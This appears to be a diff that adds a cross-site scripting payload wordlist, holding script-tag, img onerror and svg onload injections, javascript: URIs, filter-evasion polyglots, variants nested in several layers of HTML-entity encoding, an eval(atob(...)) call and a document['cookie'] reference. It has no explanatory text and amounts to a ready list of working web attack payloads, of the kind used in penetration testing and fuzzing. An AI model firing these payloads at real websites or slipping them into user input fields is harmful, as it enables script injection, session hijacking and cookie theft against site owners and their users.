+ %22%20autofocus%20onfocus%3d(confirm)(1)%2f%2f
+%22%20autofocus%20onfocus%00%3d(confirm)(1)%2f%2f
+javascript:new%20Function`al\ert\`1\``;
+6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
+<script>alert(1)</script>
+<script>alert(1)</script>
+&lt;script&gt;alert(1)&lt;/script&gt;
+&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
+&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;
+<img src=1 onerror=alert(1)>
+<img src=1 onerror=alert(1)>
+&lt;img src=1 onerror=alert(1)&gt;
+&amp;lt;img src=1 onerror=alert(1)&amp;gt;
+&amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;gt;
+"<img src=1 onerror=alert(1)>
+"<img src=1 onerror=alert(1)>
+"&lt;img src=1 onerror=alert(1)&gt;
+"&amp;lt;img src=1 onerror=alert(1)&amp;gt;
+"&amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;gt;
+"><img src=x onerror=prompt(document.domain);>
+"><img src=x onerror=prompt(document.domain);>
+"&gt;&lt;img src=x onerror=prompt(document.domain);&gt;
+"&amp;gt;&amp;lt;img src=x onerror=prompt(document.domain);&amp;gt;
+"&amp;amp;gt;&amp;amp;lt;img src=x onerror=prompt(document.domain);&amp;amp;gt;
+"&amp;amp;amp;gt;&amp;amp;amp;lt;img src=x onerror=prompt(document.domain);&amp;amp;amp;gt;
+”><svg onload=alert("1")>
+”><svg onload=alert&#0000000040"1")>
+”&gt;&lt;svg onload=alert&amp;#0000000040"1")&gt;
+”&amp;gt;&amp;lt;svg onload=alert&amp;amp;#0000000040"1")&amp;gt;
+”&amp;amp;gt;&amp;amp;lt;svg onload=alert&amp;amp;amp;#0000000040"1")&amp;amp;gt;
+"><svg onload=alert(1)>
+"><svg onload=alert(1)>
+"&gt;&lt;svg onload=alert(1)&gt;
+"&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
+"&amp;amp;gt;&amp;amp;lt;svg onload=alert(1)&amp;amp;gt;
+<img/src/onerror=alert(`ibro`)>
+<img/src/onerror=alert(`ibro`)>
+&lt;img/src/onerror=alert(`ibro`)&gt;
+&amp;lt;img/src/onerror=alert(`ibro`)&amp;gt;
+&amp;amp;lt;img/src/onerror=alert(`ibro`)&amp;amp;gt;
+javascript:\/\/\'\/<\/title><\/style><\/textarea><\/script>--><\\\/style><\\\/textarea><\\\/script>-->
<\\\\\\\/style><\\\\\\\/textarea><\\\\\\\/script>-->
\\x3csVg\/\\x3e
+jaVasCript:\\\/*-\\\/*`\\\/*\\\\`\\\/*\\\'\\\/*\\\"\\\/**\\\/(\\\/* *\\\/oNcliCk=alert() )\\\/\\\/%0D%0A%0D%0A\\\/\\\/<\\\/stYle\\\/<\\\/titLe\\\/<\\\/teXtarEa\\\/<\\\/scRipt\\\/--!>\\\\x3csVg\\\/\\\\x3e
+jaVasCript:\\\\\\\/*-\\\\\\\/*`\\\\\\\/*\\\\\\\\`\\\\\\\/*\\\\\\\'\\\\\\\/*\\\\\\\"\\\\\\\/**\\\\\\\/(\\\\\\\/* *\\\\\\\/oNcliCk=alert() )\\\\\\\/\\\\\\\/%0D%0A%0D%0A\\\\\\\/\\\\\\\/<\\\\\\\/stYle\\\\\\\/<\\\\\\\/titLe\\\\\\\/<\\\\\\\/teXtarEa\\\\\\\/<\\\\\\\/scRipt\\\\\\\/--!>\\\\\\\\x3csVg\\\\\\\/\\\\\\\\x3e
+window['alert']()
+this['alert']()
+(alert)()
+eval(atob('YWxlcnQoKQ=='))
+document['cookie']
+XSS
+
+
+